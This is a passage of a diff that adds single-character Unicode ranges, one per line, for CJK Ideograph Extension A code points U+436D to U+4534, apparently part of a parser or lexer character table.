+ ["\u436D", "\u436D"], /* CJK Ideograph Extension A */
+ ["\u436E", "\u436E"], /* CJK Ideograph Extension A */
+ ["\u436F", "\u436F"], /* CJK Ideograph Extension A */
+ ["\u4370", "\u4370"], /* CJK Ideograph Extension A */
+ ["\u4371", "\u4371"], /* CJK Ideograph Extension A */
+ ["\u4372", "\u4372"], /* CJK Ideograph Extension A */
+ ["\u4373", "\u4373"], /* CJK Ideograph Extension A */
+ ["\u4374", "\u4374"], /* CJK Ideograph Extension A */
+ ["\u4375", "\u4375"], /* CJK Ideograph Extension A */
+ ["\u4376", "\u4376"], /* CJK Ideograph Extension A */
+ ["\u4377", "\u4377"], /* CJK Ideograph Extension A */
+ ["\u4378", "\u4378"], /* CJK Ideograph Extension A */
+ ["\u4379", "\u4379"], /* CJK Ideograph Extension A */
+ ["\u437A", "\u437A"], /* CJK Ideograph Extension A */
+ ["\u437B", "\u437B"], /* CJK Ideograph Extension A */
+ ["\u437C", "\u437C"], /* CJK Ideograph Extension A */
+ ["\u437D", "\u437D"], /* CJK Ideograph Extension A */
+ ["\u437E", "\u437E"], /* CJK Ideograph Extension A */
+ ["\u437F", "\u437F"], /* CJK Ideograph Extension A */
+ ["\u4380", "\u4380"], /* CJK Ideograph Extension A */
+ ["\u4381", "\u4381"], /* CJK Ideograph Extension A */
+ ["\u4382", "\u4382"], /* CJK Ideograph Extension A */
+ ["\u4383", "\u4383"], /* CJK Ideograph Extension A */
+ ["\u4384", "\u4384"], /* CJK Ideograph Extension A */
+ ["\u4385", "\u4385"], /* CJK Ideograph Extension A */
+ ["\u4386", "\u4386"], /* CJK Ideograph Extension A */
+ ["\u4387", "\u4387"], /* CJK Ideograph Extension A */
+ ["\u4388", "\u4388"], /* CJK Ideograph Extension A */
+ ["\u4389", "\u4389"], /* CJK Ideograph Extension A */
+ ["\u438A", "\u438A"], /* CJK Ideograph Extension A */
+ ["\u438B", "\u438B"], /* CJK Ideograph Extension A */
+ ["\u438C", "\u438C"], /* CJK Ideograph Extension A */
+ ["\u438D", "\u438D"], /* CJK Ideograph Extension A */
+ ["\u438E", "\u438E"], /* CJK Ideograph Extension A */
+ ["\u438F", "\u438F"], /* CJK Ideograph Extension A */
+ ["\u4390", "\u4390"], /* CJK Ideograph Extension A */
+ ["\u4391", "\u4391"], /* CJK Ideograph Extension A */
+ ["\u4392", "\u4392"], /* CJK Ideograph Extension A */
+ ["\u4393", "\u4393"], /* CJK Ideograph Extension A */
+ ["\u4394", "\u4394"], /* CJK Ideograph Extension A */
+ ["\u4395", "\u4395"], /* CJK Ideograph Extension A */
+ ["\u4396", "\u4396"], /* CJK Ideograph Extension A */
+ ["\u4397", "\u4397"], /* CJK Ideograph Extension A */
+ ["\u4398", "\u4398"], /* CJK Ideograph Extension A */
+ ["\u4399", "\u4399"], /* CJK Ideograph Extension A */
+ ["\u439A", "\u439A"], /* CJK Ideograph Extension A */
+ ["\u439B", "\u439B"], /* CJK Ideograph Extension A */
+ ["\u439C", "\u439C"], /* CJK Ideograph Extension A */
+ ["\u439D", "\u439D"], /* CJK Ideograph Extension A */
+ ["\u439E", "\u439E"], /* CJK Ideograph Extension A */
+ ["\u439F", "\u439F"], /* CJK Ideograph Extension A */
+ ["\u43A0", "\u43A0"], /* CJK Ideograph Extension A */
+ ["\u43A1", "\u43A1"], /* CJK Ideograph Extension A */
+ ["\u43A2", "\u43A2"], /* CJK Ideograph Extension A */
+ ["\u43A3", "\u43A3"], /* CJK Ideograph Extension A */
+ ["\u43A4", "\u43A4"], /* CJK Ideograph Extension A */
+ ["\u43A5", "\u43A5"], /* CJK Ideograph Extension A */
+ ["\u43A6", "\u43A6"], /* CJK Ideograph Extension A */
+ ["\u43A7", "\u43A7"], /* CJK Ideograph Extension A */
+ ["\u43A8", "\u43A8"], /* CJK Ideograph Extension A */
+ ["\u43A9", "\u43A9"], /* CJK Ideograph Extension A */
+ ["\u43AA", "\u43AA"], /* CJK Ideograph Extension A */
+ ["\u43AB", "\u43AB"], /* CJK Ideograph Extension A */
+ ["\u43AC", "\u43AC"], /* CJK Ideograph Extension A */
+ ["\u43AD", "\u43AD"], /* CJK Ideograph Extension A */
+ ["\u43AE", "\u43AE"], /* CJK Ideograph Extension A */
+ ["\u43AF", "\u43AF"], /* CJK Ideograph Extension A */
+ ["\u43B0", "\u43B0"], /* CJK Ideograph Extension A */
+ ["\u43B1", "\u43B1"], /* CJK Ideograph Extension A */
+ ["\u43B2", "\u43B2"], /* CJK Ideograph Extension A */
+ ["\u43B3", "\u43B3"], /* CJK Ideograph Extension A */
+ ["\u43B4", "\u43B4"], /* CJK Ideograph Extension A */
+ ["\u43B5", "\u43B5"], /* CJK Ideograph Extension A */
+ ["\u43B6", "\u43B6"], /* CJK Ideograph Extension A */
+ ["\u43B7", "\u43B7"], /* CJK Ideograph Extension A */
+ ["\u43B8", "\u43B8"], /* CJK Ideograph Extension A */
+ ["\u43B9", "\u43B9"], /* CJK Ideograph Extension A */
+ ["\u43BA", "\u43BA"], /* CJK Ideograph Extension A */
+ ["\u43BB", "\u43BB"], /* CJK Ideograph Extension A */
+ ["\u43BC", "\u43BC"], /* CJK Ideograph Extension A */
+ ["\u43BD", "\u43BD"], /* CJK Ideograph Extension A */
+ ["\u43BE", "\u43BE"], /* CJK Ideograph Extension A */
+ ["\u43BF", "\u43BF"], /* CJK Ideograph Extension A */
+ ["\u43C0", "\u43C0"], /* CJK Ideograph Extension A */
+ ["\u43C1", "\u43C1"], /* CJK Ideograph Extension A */
+ ["\u43C2", "\u43C2"], /* CJK Ideograph Extension A */
+ ["\u43C3", "\u43C3"], /* CJK Ideograph Extension A */
+ ["\u43C4", "\u43C4"], /* CJK Ideograph Extension A */
+ ["\u43C5", "\u43C5"], /* CJK Ideograph Extension A */
+ ["\u43C6", "\u43C6"], /* CJK Ideograph Extension A */
+ ["\u43C7", "\u43C7"], /* CJK Ideograph Extension A */
+ ["\u43C8", "\u43C8"], /* CJK Ideograph Extension A */
+ ["\u43C9", "\u43C9"], /* CJK Ideograph Extension A */
+ ["\u43CA", "\u43CA"], /* CJK Ideograph Extension A */
+ ["\u43CB", "\u43CB"], /* CJK Ideograph Extension A */
+ ["\u43CC", "\u43CC"], /* CJK Ideograph Extension A */
+ ["\u43CD", "\u43CD"], /* CJK Ideograph Extension A */
+ ["\u43CE", "\u43CE"], /* CJK Ideograph Extension A */
+ ["\u43CF", "\u43CF"], /* CJK Ideograph Extension A */
+ ["\u43D0", "\u43D0"], /* CJK Ideograph Extension A */
+ ["\u43D1", "\u43D1"], /* CJK Ideograph Extension A */
+ ["\u43D2", "\u43D2"], /* CJK Ideograph Extension A */
+ ["\u43D3", "\u43D3"], /* CJK Ideograph Extension A */
+ ["\u43D4", "\u43D4"], /* CJK Ideograph Extension A */
+ ["\u43D5", "\u43D5"], /* CJK Ideograph Extension A */
+ ["\u43D6", "\u43D6"], /* CJK Ideograph Extension A */
+ ["\u43D7", "\u43D7"], /* CJK Ideograph Extension A */
+ ["\u43D8", "\u43D8"], /* CJK Ideograph Extension A */
+ ["\u43D9", "\u43D9"], /* CJK Ideograph Extension A */
+ ["\u43DA", "\u43DA"], /* CJK Ideograph Extension A */
+ ["\u43DB", "\u43DB"], /* CJK Ideograph Extension A */
+ ["\u43DC", "\u43DC"], /* CJK Ideograph Extension A */
+ ["\u43DD", "\u43DD"], /* CJK Ideograph Extension A */
+ ["\u43DE", "\u43DE"], /* CJK Ideograph Extension A */
+ ["\u43DF", "\u43DF"], /* CJK Ideograph Extension A */
+ ["\u43E0", "\u43E0"], /* CJK Ideograph Extension A */
+ ["\u43E1", "\u43E1"], /* CJK Ideograph Extension A */
+ ["\u43E2", "\u43E2"], /* CJK Ideograph Extension A */
+ ["\u43E3", "\u43E3"], /* CJK Ideograph Extension A */
+ ["\u43E4", "\u43E4"], /* CJK Ideograph Extension A */
+ ["\u43E5", "\u43E5"], /* CJK Ideograph Extension A */
+ ["\u43E6", "\u43E6"], /* CJK Ideograph Extension A */
+ ["\u43E7", "\u43E7"], /* CJK Ideograph Extension A */
+ ["\u43E8", "\u43E8"], /* CJK Ideograph Extension A */
+ ["\u43E9", "\u43E9"], /* CJK Ideograph Extension A */
+ ["\u43EA", "\u43EA"], /* CJK Ideograph Extension A */
+ ["\u43EB", "\u43EB"], /* CJK Ideograph Extension A */
+ ["\u43EC", "\u43EC"], /* CJK Ideograph Extension A */
+ ["\u43ED", "\u43ED"], /* CJK Ideograph Extension A */
+ ["\u43EE", "\u43EE"], /* CJK Ideograph Extension A */
+ ["\u43EF", "\u43EF"], /* CJK Ideograph Extension A */
+ ["\u43F0", "\u43F0"], /* CJK Ideograph Extension A */
+ ["\u43F1", "\u43F1"], /* CJK Ideograph Extension A */
+ ["\u43F2", "\u43F2"], /* CJK Ideograph Extension A */
+ ["\u43F3", "\u43F3"], /* CJK Ideograph Extension A */
+ ["\u43F4", "\u43F4"], /* CJK Ideograph Extension A */
+ ["\u43F5", "\u43F5"], /* CJK Ideograph Extension A */
+ ["\u43F6", "\u43F6"], /* CJK Ideograph Extension A */
+ ["\u43F7", "\u43F7"], /* CJK Ideograph Extension A */
+ ["\u43F8", "\u43F8"], /* CJK Ideograph Extension A */
+ ["\u43F9", "\u43F9"], /* CJK Ideograph Extension A */
+ ["\u43FA", "\u43FA"], /* CJK Ideograph Extension A */
+ ["\u43FB", "\u43FB"], /* CJK Ideograph Extension A */
+ ["\u43FC", "\u43FC"], /* CJK Ideograph Extension A */
+ ["\u43FD", "\u43FD"], /* CJK Ideograph Extension A */
+ ["\u43FE", "\u43FE"], /* CJK Ideograph Extension A */
+ ["\u43FF", "\u43FF"], /* CJK Ideograph Extension A */
+ ["\u4400", "\u4400"], /* CJK Ideograph Extension A */
+ ["\u4401", "\u4401"], /* CJK Ideograph Extension A */
+ ["\u4402", "\u4402"], /* CJK Ideograph Extension A */
+ ["\u4403", "\u4403"], /* CJK Ideograph Extension A */
+ ["\u4404", "\u4404"], /* CJK Ideograph Extension A */
+ ["\u4405", "\u4405"], /* CJK Ideograph Extension A */
+ ["\u4406", "\u4406"], /* CJK Ideograph Extension A */
+ ["\u4407", "\u4407"], /* CJK Ideograph Extension A */
+ ["\u4408", "\u4408"], /* CJK Ideograph Extension A */
+ ["\u4409", "\u4409"], /* CJK Ideograph Extension A */
+ ["\u440A", "\u440A"], /* CJK Ideograph Extension A */
+ ["\u440B", "\u440B"], /* CJK Ideograph Extension A */
+ ["\u440C", "\u440C"], /* CJK Ideograph Extension A */
+ ["\u440D", "\u440D"], /* CJK Ideograph Extension A */
+ ["\u440E", "\u440E"], /* CJK Ideograph Extension A */
+ ["\u440F", "\u440F"], /* CJK Ideograph Extension A */
+ ["\u4410", "\u4410"], /* CJK Ideograph Extension A */
+ ["\u4411", "\u4411"], /* CJK Ideograph Extension A */
+ ["\u4412", "\u4412"], /* CJK Ideograph Extension A */
+ ["\u4413", "\u4413"], /* CJK Ideograph Extension A */
+ ["\u4414", "\u4414"], /* CJK Ideograph Extension A */
+ ["\u4415", "\u4415"], /* CJK Ideograph Extension A */
+ ["\u4416", "\u4416"], /* CJK Ideograph Extension A */
+ ["\u4417", "\u4417"], /* CJK Ideograph Extension A */
+ ["\u4418", "\u4418"], /* CJK Ideograph Extension A */
+ ["\u4419", "\u4419"], /* CJK Ideograph Extension A */
+ ["\u441A", "\u441A"], /* CJK Ideograph Extension A */
+ ["\u441B", "\u441B"], /* CJK Ideograph Extension A */
+ ["\u441C", "\u441C"], /* CJK Ideograph Extension A */
+ ["\u441D", "\u441D"], /* CJK Ideograph Extension A */
+ ["\u441E", "\u441E"], /* CJK Ideograph Extension A */
+ ["\u441F", "\u441F"], /* CJK Ideograph Extension A */
+ ["\u4420", "\u4420"], /* CJK Ideograph Extension A */
+ ["\u4421", "\u4421"], /* CJK Ideograph Extension A */
+ ["\u4422", "\u4422"], /* CJK Ideograph Extension A */
+ ["\u4423", "\u4423"], /* CJK Ideograph Extension A */
+ ["\u4424", "\u4424"], /* CJK Ideograph Extension A */
+ ["\u4425", "\u4425"], /* CJK Ideograph Extension A */
+ ["\u4426", "\u4426"], /* CJK Ideograph Extension A */
+ ["\u4427", "\u4427"], /* CJK Ideograph Extension A */
+ ["\u4428", "\u4428"], /* CJK Ideograph Extension A */
+ ["\u4429", "\u4429"], /* CJK Ideograph Extension A */
+ ["\u442A", "\u442A"], /* CJK Ideograph Extension A */
+ ["\u442B", "\u442B"], /* CJK Ideograph Extension A */
+ ["\u442C", "\u442C"], /* CJK Ideograph Extension A */
+ ["\u442D", "\u442D"], /* CJK Ideograph Extension A */
+ ["\u442E", "\u442E"], /* CJK Ideograph Extension A */
+ ["\u442F", "\u442F"], /* CJK Ideograph Extension A */
+ ["\u4430", "\u4430"], /* CJK Ideograph Extension A */
+ ["\u4431", "\u4431"], /* CJK Ideograph Extension A */
+ ["\u4432", "\u4432"], /* CJK Ideograph Extension A */
+ ["\u4433", "\u4433"], /* CJK Ideograph Extension A */
+ ["\u4434", "\u4434"], /* CJK Ideograph Extension A */
+ ["\u4435", "\u4435"], /* CJK Ideograph Extension A */
+ ["\u4436", "\u4436"], /* CJK Ideograph Extension A */
+ ["\u4437", "\u4437"], /* CJK Ideograph Extension A */
+ ["\u4438", "\u4438"], /* CJK Ideograph Extension A */
+ ["\u4439", "\u4439"], /* CJK Ideograph Extension A */
+ ["\u443A", "\u443A"], /* CJK Ideograph Extension A */
+ ["\u443B", "\u443B"], /* CJK Ideograph Extension A */
+ ["\u443C", "\u443C"], /* CJK Ideograph Extension A */
+ ["\u443D", "\u443D"], /* CJK Ideograph Extension A */
+ ["\u443E", "\u443E"], /* CJK Ideograph Extension A */
+ ["\u443F", "\u443F"], /* CJK Ideograph Extension A */
+ ["\u4440", "\u4440"], /* CJK Ideograph Extension A */
+ ["\u4441", "\u4441"], /* CJK Ideograph Extension A */
+ ["\u4442", "\u4442"], /* CJK Ideograph Extension A */
+ ["\u4443", "\u4443"], /* CJK Ideograph Extension A */
+ ["\u4444", "\u4444"], /* CJK Ideograph Extension A */
+ ["\u4445", "\u4445"], /* CJK Ideograph Extension A */
+ ["\u4446", "\u4446"], /* CJK Ideograph Extension A */
+ ["\u4447", "\u4447"], /* CJK Ideograph Extension A */
+ ["\u4448", "\u4448"], /* CJK Ideograph Extension A */
+ ["\u4449", "\u4449"], /* CJK Ideograph Extension A */
+ ["\u444A", "\u444A"], /* CJK Ideograph Extension A */
+ ["\u444B", "\u444B"], /* CJK Ideograph Extension A */
+ ["\u444C", "\u444C"], /* CJK Ideograph Extension A */
+ ["\u444D", "\u444D"], /* CJK Ideograph Extension A */
+ ["\u444E", "\u444E"], /* CJK Ideograph Extension A */
+ ["\u444F", "\u444F"], /* CJK Ideograph Extension A */
+ ["\u4450", "\u4450"], /* CJK Ideograph Extension A */
+ ["\u4451", "\u4451"], /* CJK Ideograph Extension A */
+ ["\u4452", "\u4452"], /* CJK Ideograph Extension A */
+ ["\u4453", "\u4453"], /* CJK Ideograph Extension A */
+ ["\u4454", "\u4454"], /* CJK Ideograph Extension A */
+ ["\u4455", "\u4455"], /* CJK Ideograph Extension A */
+ ["\u4456", "\u4456"], /* CJK Ideograph Extension A */
+ ["\u4457", "\u4457"], /* CJK Ideograph Extension A */
+ ["\u4458", "\u4458"], /* CJK Ideograph Extension A */
+ ["\u4459", "\u4459"], /* CJK Ideograph Extension A */
+ ["\u445A", "\u445A"], /* CJK Ideograph Extension A */
+ ["\u445B", "\u445B"], /* CJK Ideograph Extension A */
+ ["\u445C", "\u445C"], /* CJK Ideograph Extension A */
+ ["\u445D", "\u445D"], /* CJK Ideograph Extension A */
+ ["\u445E", "\u445E"], /* CJK Ideograph Extension A */
+ ["\u445F", "\u445F"], /* CJK Ideograph Extension A */
+ ["\u4460", "\u4460"], /* CJK Ideograph Extension A */
+ ["\u4461", "\u4461"], /* CJK Ideograph Extension A */
+ ["\u4462", "\u4462"], /* CJK Ideograph Extension A */
+ ["\u4463", "\u4463"], /* CJK Ideograph Extension A */
+ ["\u4464", "\u4464"], /* CJK Ideograph Extension A */
+ ["\u4465", "\u4465"], /* CJK Ideograph Extension A */
+ ["\u4466", "\u4466"], /* CJK Ideograph Extension A */
+ ["\u4467", "\u4467"], /* CJK Ideograph Extension A */
+ ["\u4468", "\u4468"], /* CJK Ideograph Extension A */
+ ["\u4469", "\u4469"], /* CJK Ideograph Extension A */
+ ["\u446A", "\u446A"], /* CJK Ideograph Extension A */
+ ["\u446B", "\u446B"], /* CJK Ideograph Extension A */
+ ["\u446C", "\u446C"], /* CJK Ideograph Extension A */
+ ["\u446D", "\u446D"], /* CJK Ideograph Extension A */
+ ["\u446E", "\u446E"], /* CJK Ideograph Extension A */
+ ["\u446F", "\u446F"], /* CJK Ideograph Extension A */
+ ["\u4470", "\u4470"], /* CJK Ideograph Extension A */
+ ["\u4471", "\u4471"], /* CJK Ideograph Extension A */
+ ["\u4472", "\u4472"], /* CJK Ideograph Extension A */
+ ["\u4473", "\u4473"], /* CJK Ideograph Extension A */
+ ["\u4474", "\u4474"], /* CJK Ideograph Extension A */
+ ["\u4475", "\u4475"], /* CJK Ideograph Extension A */
+ ["\u4476", "\u4476"], /* CJK Ideograph Extension A */
+ ["\u4477", "\u4477"], /* CJK Ideograph Extension A */
+ ["\u4478", "\u4478"], /* CJK Ideograph Extension A */
+ ["\u4479", "\u4479"], /* CJK Ideograph Extension A */
+ ["\u447A", "\u447A"], /* CJK Ideograph Extension A */
+ ["\u447B", "\u447B"], /* CJK Ideograph Extension A */
+ ["\u447C", "\u447C"], /* CJK Ideograph Extension A */
+ ["\u447D", "\u447D"], /* CJK Ideograph Extension A */
+ ["\u447E", "\u447E"], /* CJK Ideograph Extension A */
+ ["\u447F", "\u447F"], /* CJK Ideograph Extension A */
+ ["\u4480", "\u4480"], /* CJK Ideograph Extension A */
+ ["\u4481", "\u4481"], /* CJK Ideograph Extension A */
+ ["\u4482", "\u4482"], /* CJK Ideograph Extension A */
+ ["\u4483", "\u4483"], /* CJK Ideograph Extension A */
+ ["\u4484", "\u4484"], /* CJK Ideograph Extension A */
+ ["\u4485", "\u4485"], /* CJK Ideograph Extension A */
+ ["\u4486", "\u4486"], /* CJK Ideograph Extension A */
+ ["\u4487", "\u4487"], /* CJK Ideograph Extension A */
+ ["\u4488", "\u4488"], /* CJK Ideograph Extension A */
+ ["\u4489", "\u4489"], /* CJK Ideograph Extension A */
+ ["\u448A", "\u448A"], /* CJK Ideograph Extension A */
+ ["\u448B", "\u448B"], /* CJK Ideograph Extension A */
+ ["\u448C", "\u448C"], /* CJK Ideograph Extension A */
+ ["\u448D", "\u448D"], /* CJK Ideograph Extension A */
+ ["\u448E", "\u448E"], /* CJK Ideograph Extension A */
+ ["\u448F", "\u448F"], /* CJK Ideograph Extension A */
+ ["\u4490", "\u4490"], /* CJK Ideograph Extension A */
+ ["\u4491", "\u4491"], /* CJK Ideograph Extension A */
+ ["\u4492", "\u4492"], /* CJK Ideograph Extension A */
+ ["\u4493", "\u4493"], /* CJK Ideograph Extension A */
+ ["\u4494", "\u4494"], /* CJK Ideograph Extension A */
+ ["\u4495", "\u4495"], /* CJK Ideograph Extension A */
+ ["\u4496", "\u4496"], /* CJK Ideograph Extension A */
+ ["\u4497", "\u4497"], /* CJK Ideograph Extension A */
+ ["\u4498", "\u4498"], /* CJK Ideograph Extension A */
+ ["\u4499", "\u4499"], /* CJK Ideograph Extension A */
+ ["\u449A", "\u449A"], /* CJK Ideograph Extension A */
+ ["\u449B", "\u449B"], /* CJK Ideograph Extension A */
+ ["\u449C", "\u449C"], /* CJK Ideograph Extension A */
+ ["\u449D", "\u449D"], /* CJK Ideograph Extension A */
+ ["\u449E", "\u449E"], /* CJK Ideograph Extension A */
+ ["\u449F", "\u449F"], /* CJK Ideograph Extension A */
+ ["\u44A0", "\u44A0"], /* CJK Ideograph Extension A */
+ ["\u44A1", "\u44A1"], /* CJK Ideograph Extension A */
+ ["\u44A2", "\u44A2"], /* CJK Ideograph Extension A */
+ ["\u44A3", "\u44A3"], /* CJK Ideograph Extension A */
+ ["\u44A4", "\u44A4"], /* CJK Ideograph Extension A */
+ ["\u44A5", "\u44A5"], /* CJK Ideograph Extension A */
+ ["\u44A6", "\u44A6"], /* CJK Ideograph Extension A */
+ ["\u44A7", "\u44A7"], /* CJK Ideograph Extension A */
+ ["\u44A8", "\u44A8"], /* CJK Ideograph Extension A */
+ ["\u44A9", "\u44A9"], /* CJK Ideograph Extension A */
+ ["\u44AA", "\u44AA"], /* CJK Ideograph Extension A */
+ ["\u44AB", "\u44AB"], /* CJK Ideograph Extension A */
+ ["\u44AC", "\u44AC"], /* CJK Ideograph Extension A */
+ ["\u44AD", "\u44AD"], /* CJK Ideograph Extension A */
+ ["\u44AE", "\u44AE"], /* CJK Ideograph Extension A */
+ ["\u44AF", "\u44AF"], /* CJK Ideograph Extension A */
+ ["\u44B0", "\u44B0"], /* CJK Ideograph Extension A */
+ ["\u44B1", "\u44B1"], /* CJK Ideograph Extension A */
+ ["\u44B2", "\u44B2"], /* CJK Ideograph Extension A */
+ ["\u44B3", "\u44B3"], /* CJK Ideograph Extension A */
+ ["\u44B4", "\u44B4"], /* CJK Ideograph Extension A */
+ ["\u44B5", "\u44B5"], /* CJK Ideograph Extension A */
+ ["\u44B6", "\u44B6"], /* CJK Ideograph Extension A */
+ ["\u44B7", "\u44B7"], /* CJK Ideograph Extension A */
+ ["\u44B8", "\u44B8"], /* CJK Ideograph Extension A */
+ ["\u44B9", "\u44B9"], /* CJK Ideograph Extension A */
+ ["\u44BA", "\u44BA"], /* CJK Ideograph Extension A */
+ ["\u44BB", "\u44BB"], /* CJK Ideograph Extension A */
+ ["\u44BC", "\u44BC"], /* CJK Ideograph Extension A */
+ ["\u44BD", "\u44BD"], /* CJK Ideograph Extension A */
+ ["\u44BE", "\u44BE"], /* CJK Ideograph Extension A */
+ ["\u44BF", "\u44BF"], /* CJK Ideograph Extension A */
+ ["\u44C0", "\u44C0"], /* CJK Ideograph Extension A */
+ ["\u44C1", "\u44C1"], /* CJK Ideograph Extension A */
+ ["\u44C2", "\u44C2"], /* CJK Ideograph Extension A */
+ ["\u44C3", "\u44C3"], /* CJK Ideograph Extension A */
+ ["\u44C4", "\u44C4"], /* CJK Ideograph Extension A */
+ ["\u44C5", "\u44C5"], /* CJK Ideograph Extension A */
+ ["\u44C6", "\u44C6"], /* CJK Ideograph Extension A */
+ ["\u44C7", "\u44C7"], /* CJK Ideograph Extension A */
+ ["\u44C8", "\u44C8"], /* CJK Ideograph Extension A */
+ ["\u44C9", "\u44C9"], /* CJK Ideograph Extension A */
+ ["\u44CA", "\u44CA"], /* CJK Ideograph Extension A */
+ ["\u44CB", "\u44CB"], /* CJK Ideograph Extension A */
+ ["\u44CC", "\u44CC"], /* CJK Ideograph Extension A */
+ ["\u44CD", "\u44CD"], /* CJK Ideograph Extension A */
+ ["\u44CE", "\u44CE"], /* CJK Ideograph Extension A */
+ ["\u44CF", "\u44CF"], /* CJK Ideograph Extension A */
+ ["\u44D0", "\u44D0"], /* CJK Ideograph Extension A */
+ ["\u44D1", "\u44D1"], /* CJK Ideograph Extension A */
+ ["\u44D2", "\u44D2"], /* CJK Ideograph Extension A */
+ ["\u44D3", "\u44D3"], /* CJK Ideograph Extension A */
+ ["\u44D4", "\u44D4"], /* CJK Ideograph Extension A */
+ ["\u44D5", "\u44D5"], /* CJK Ideograph Extension A */
+ ["\u44D6", "\u44D6"], /* CJK Ideograph Extension A */
+ ["\u44D7", "\u44D7"], /* CJK Ideograph Extension A */
+ ["\u44D8", "\u44D8"], /* CJK Ideograph Extension A */
+ ["\u44D9", "\u44D9"], /* CJK Ideograph Extension A */
+ ["\u44DA", "\u44DA"], /* CJK Ideograph Extension A */
+ ["\u44DB", "\u44DB"], /* CJK Ideograph Extension A */
+ ["\u44DC", "\u44DC"], /* CJK Ideograph Extension A */
+ ["\u44DD", "\u44DD"], /* CJK Ideograph Extension A */
+ ["\u44DE", "\u44DE"], /* CJK Ideograph Extension A */
+ ["\u44DF", "\u44DF"], /* CJK Ideograph Extension A */
+ ["\u44E0", "\u44E0"], /* CJK Ideograph Extension A */
+ ["\u44E1", "\u44E1"], /* CJK Ideograph Extension A */
+ ["\u44E2", "\u44E2"], /* CJK Ideograph Extension A */
+ ["\u44E3", "\u44E3"], /* CJK Ideograph Extension A */
+ ["\u44E4", "\u44E4"], /* CJK Ideograph Extension A */
+ ["\u44E5", "\u44E5"], /* CJK Ideograph Extension A */
+ ["\u44E6", "\u44E6"], /* CJK Ideograph Extension A */
+ ["\u44E7", "\u44E7"], /* CJK Ideograph Extension A */
+ ["\u44E8", "\u44E8"], /* CJK Ideograph Extension A */
+ ["\u44E9", "\u44E9"], /* CJK Ideograph Extension A */
+ ["\u44EA", "\u44EA"], /* CJK Ideograph Extension A */
+ ["\u44EB", "\u44EB"], /* CJK Ideograph Extension A */
+ ["\u44EC", "\u44EC"], /* CJK Ideograph Extension A */
+ ["\u44ED", "\u44ED"], /* CJK Ideograph Extension A */
+ ["\u44EE", "\u44EE"], /* CJK Ideograph Extension A */
+ ["\u44EF", "\u44EF"], /* CJK Ideograph Extension A */
+ ["\u44F0", "\u44F0"], /* CJK Ideograph Extension A */
+ ["\u44F1", "\u44F1"], /* CJK Ideograph Extension A */
+ ["\u44F2", "\u44F2"], /* CJK Ideograph Extension A */
+ ["\u44F3", "\u44F3"], /* CJK Ideograph Extension A */
+ ["\u44F4", "\u44F4"], /* CJK Ideograph Extension A */
+ ["\u44F5", "\u44F5"], /* CJK Ideograph Extension A */
+ ["\u44F6", "\u44F6"], /* CJK Ideograph Extension A */
+ ["\u44F7", "\u44F7"], /* CJK Ideograph Extension A */
+ ["\u44F8", "\u44F8"], /* CJK Ideograph Extension A */
+ ["\u44F9", "\u44F9"], /* CJK Ideograph Extension A */
+ ["\u44FA", "\u44FA"], /* CJK Ideograph Extension A */
+ ["\u44FB", "\u44FB"], /* CJK Ideograph Extension A */
+ ["\u44FC", "\u44FC"], /* CJK Ideograph Extension A */
+ ["\u44FD", "\u44FD"], /* CJK Ideograph Extension A */
+ ["\u44FE", "\u44FE"], /* CJK Ideograph Extension A */
+ ["\u44FF", "\u44FF"], /* CJK Ideograph Extension A */
+ ["\u4500", "\u4500"], /* CJK Ideograph Extension A */
+ ["\u4501", "\u4501"], /* CJK Ideograph Extension A */
+ ["\u4502", "\u4502"], /* CJK Ideograph Extension A */
+ ["\u4503", "\u4503"], /* CJK Ideograph Extension A */
+ ["\u4504", "\u4504"], /* CJK Ideograph Extension A */
+ ["\u4505", "\u4505"], /* CJK Ideograph Extension A */
+ ["\u4506", "\u4506"], /* CJK Ideograph Extension A */
+ ["\u4507", "\u4507"], /* CJK Ideograph Extension A */
+ ["\u4508", "\u4508"], /* CJK Ideograph Extension A */
+ ["\u4509", "\u4509"], /* CJK Ideograph Extension A */
+ ["\u450A", "\u450A"], /* CJK Ideograph Extension A */
+ ["\u450B", "\u450B"], /* CJK Ideograph Extension A */
+ ["\u450C", "\u450C"], /* CJK Ideograph Extension A */
+ ["\u450D", "\u450D"], /* CJK Ideograph Extension A */
+ ["\u450E", "\u450E"], /* CJK Ideograph Extension A */
+ ["\u450F", "\u450F"], /* CJK Ideograph Extension A */
+ ["\u4510", "\u4510"], /* CJK Ideograph Extension A */
+ ["\u4511", "\u4511"], /* CJK Ideograph Extension A */
+ ["\u4512", "\u4512"], /* CJK Ideograph Extension A */
+ ["\u4513", "\u4513"], /* CJK Ideograph Extension A */
+ ["\u4514", "\u4514"], /* CJK Ideograph Extension A */
+ ["\u4515", "\u4515"], /* CJK Ideograph Extension A */
+ ["\u4516", "\u4516"], /* CJK Ideograph Extension A */
+ ["\u4517", "\u4517"], /* CJK Ideograph Extension A */
+ ["\u4518", "\u4518"], /* CJK Ideograph Extension A */
+ ["\u4519", "\u4519"], /* CJK Ideograph Extension A */
+ ["\u451A", "\u451A"], /* CJK Ideograph Extension A */
+ ["\u451B", "\u451B"], /* CJK Ideograph Extension A */
+ ["\u451C", "\u451C"], /* CJK Ideograph Extension A */
+ ["\u451D", "\u451D"], /* CJK Ideograph Extension A */
+ ["\u451E", "\u451E"], /* CJK Ideograph Extension A */
+ ["\u451F", "\u451F"], /* CJK Ideograph Extension A */
+ ["\u4520", "\u4520"], /* CJK Ideograph Extension A */
+ ["\u4521", "\u4521"], /* CJK Ideograph Extension A */
+ ["\u4522", "\u4522"], /* CJK Ideograph Extension A */
+ ["\u4523", "\u4523"], /* CJK Ideograph Extension A */
+ ["\u4524", "\u4524"], /* CJK Ideograph Extension A */
+ ["\u4525", "\u4525"], /* CJK Ideograph Extension A */
+ ["\u4526", "\u4526"], /* CJK Ideograph Extension A */
+ ["\u4527", "\u4527"], /* CJK Ideograph Extension A */
+ ["\u4528", "\u4528"], /* CJK Ideograph Extension A */
+ ["\u4529", "\u4529"], /* CJK Ideograph Extension A */
+ ["\u452A", "\u452A"], /* CJK Ideograph Extension A */
+ ["\u452B", "\u452B"], /* CJK Ideograph Extension A */
+ ["\u452C", "\u452C"], /* CJK Ideograph Extension A */
+ ["\u452D", "\u452D"], /* CJK Ideograph Extension A */
+ ["\u452E", "\u452E"], /* CJK Ideograph Extension A */
+ ["\u452F", "\u452F"], /* CJK Ideograph Extension A */
+ ["\u4530", "\u4530"], /* CJK Ideograph Extension A */
+ ["\u4531", "\u4531"], /* CJK Ideograph Extension A */
+ ["\u4532", "\u4532"], /* CJK Ideograph Extension A */
+ ["\u4533", "\u4533"], /* CJK Ideograph Extension A */
+ ["\u4534", "\u4534"], /* CJK Ideograph Extension A */
